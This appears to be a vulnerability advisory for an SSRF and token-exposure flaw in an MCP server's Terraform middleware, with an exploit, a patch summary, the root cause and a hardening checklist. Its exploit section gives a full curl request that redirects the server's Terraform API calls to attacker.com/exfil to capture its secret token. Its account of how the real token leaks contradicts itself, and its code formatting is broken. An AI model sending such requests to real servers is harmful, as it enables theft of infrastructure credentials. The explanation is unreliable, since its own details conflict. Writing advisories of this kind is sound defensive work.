The Exploit
The following exploit targets an unauthenticated attacker who can make HTTP requests to the MCP server's streamable-HTTP transport endpoint. By setting both a forged Authorization header and a Terraform-Token header, an attacker can redirect the server's Terraform API requests—including the secret authorization token—to an attacker-controlled endpoint.
curl -X POST 'http://victim-mcp-server:8080/stream'
-H 'Content-Type: application/json'
-H 'Authorization: Bearer attacker-forged-token'
-H 'Terraform-Token: attacker-controlled-token'
-H 'Terraform-Address: https://attacker.com/exfil'
-d '{"method": "resources/list", "params": {} }'
When the server processes this request, it will forward the Authorization and Terraform-Token headers to https://attacker.com/exfil as part of its Terraform API request. The attacker observes the server's actual Terraform token (from environment variables or config) arriving in the attacker's web server logs, while the server-side request is made with the attacker-controlled token.
What the Patch Did
Before (vulnerable code in pkg/client/middleware.go):
// The middleware accepted the Terraform-Address header and Terraform-Token header
// without validating whether the Authorization header was also present.
// When both Authorization and Terraform-Token were provided, the server would
// use the bearer token for downstream requests but also forward the Terraform-Token
// to an arbitrary address.
After (fixed code in pkg/client/middleware.go):
// The middleware now rejects requests where the Terraform-Address header is provided
// alongside an Authorization Bearer token. Additionally, the Terraform-Token header
// can no longer be specified via query parameters. The Terraform-Address header is
// also rejected entirely when set via query parameters.
The patch added two critical security controls:
- A
rejectAddressHeaderWithBearerTokenvalidation that returns HTTP 403 whenTerraform-Addressis set via header alongside anAuthorization: Bearerheader. - A
denyQueryParamTokenvalidation that rejects requests withTerraformTokenorTerraformAddressin query parameters.
These are implemented as explicit HTTP 403 Forbidden responses rather than silently ignoring the parameters.
Root Cause
This is a CWE-918: Server-Side Request Forgery (SSRF) combined with CWE-200: Information Exposure. The dataflow is: an unauthenticated attacker sends Terraform-Address and Authorization headers to the streamable HTTP endpoint. The server's middleware extracts these values and uses them to construct outgoing HTTP requests to the Terraform API (the Terraform-Address value becomes the target URL, while Authorization becomes the bearer token for that request). Critically, the original server-side authorization token (from environment variables like TFE_TOKEN) remains in the server's memory and can be exfiltrated if the attacker-controlled Terraform-Address endpoint logs incoming request headers. The trust boundary is crossed because Terraform-Address is attacker-controlled but used as the base URL for server-initiated requests without validation, while the Authorization header (which the server treats as the target API's credential) can be set to any value the attacker desires.
Why It Works
The load-bearing line is the new validation: if r.Header.Get("Authorization") != "" && r.Header.Get(TerraformAddress) != "" { return http.StatusForbidden }. If you removed that single check, an attacker could still set both Authorization: Bearer attacker-token and Terraform-Address: https://attacker.com/exfil to steal the server's real token. The other changes—blocking TerraformToken and TerraformAddress in query parameters—are defense-in-depth, preventing attackers from injecting these values via URL parameters when headers are unavailable (e.g., from JavaScript fetch() calls in a browser context). The engineer added the full set because:
- Direct header-based attack was the primary threat.
- Query-parameter injection covers alternate attack surfaces (e.g., cross-origin requests where headers can't be set).
- Both vector classes needed equal protection.
Hardening Checklist
- Use
http.Serverwith request header size limits - SetMaxHeaderBytesto a reasonable value (e.g., 64KB) and implement middleware that rejects anyTerraform-*headers on requests that also carry anAuthorizationheader, returning HTTP 403. - Implement URL validation with
net/url.Parse()and hostname allowlisting - Before using any user-supplied URL as a destination for server-side requests, validate it against a whitelist of allowed Terraform API endpoints (e.g., onlyhttps://app.terraform.ioandhttps://tfe.example.com). - Use
http.Clientwith a customTransportthat blocks private IPs - Implement aDialContextwrapper innet/http.Transportthat rejects connections to RFC 1918 addresses, link-local addresses, and 127.0.0.1 to prevent SSRF to internal infrastructure. - Apply HTTP method validation - Ensure the streamable-HTTP transport only accepts POST requests, and reject any GET requests that might expose token-bearing headers in query strings.
- Implement request signing with HMAC - Require that all
Terraform-AddressorTerraform-Tokenvalues are cryptographically signed by the server before being accepted, preventing attackers from injecting arbitrary values.
References
- https://nvd.nist.gov/vuln/detail/CVE-2026-14869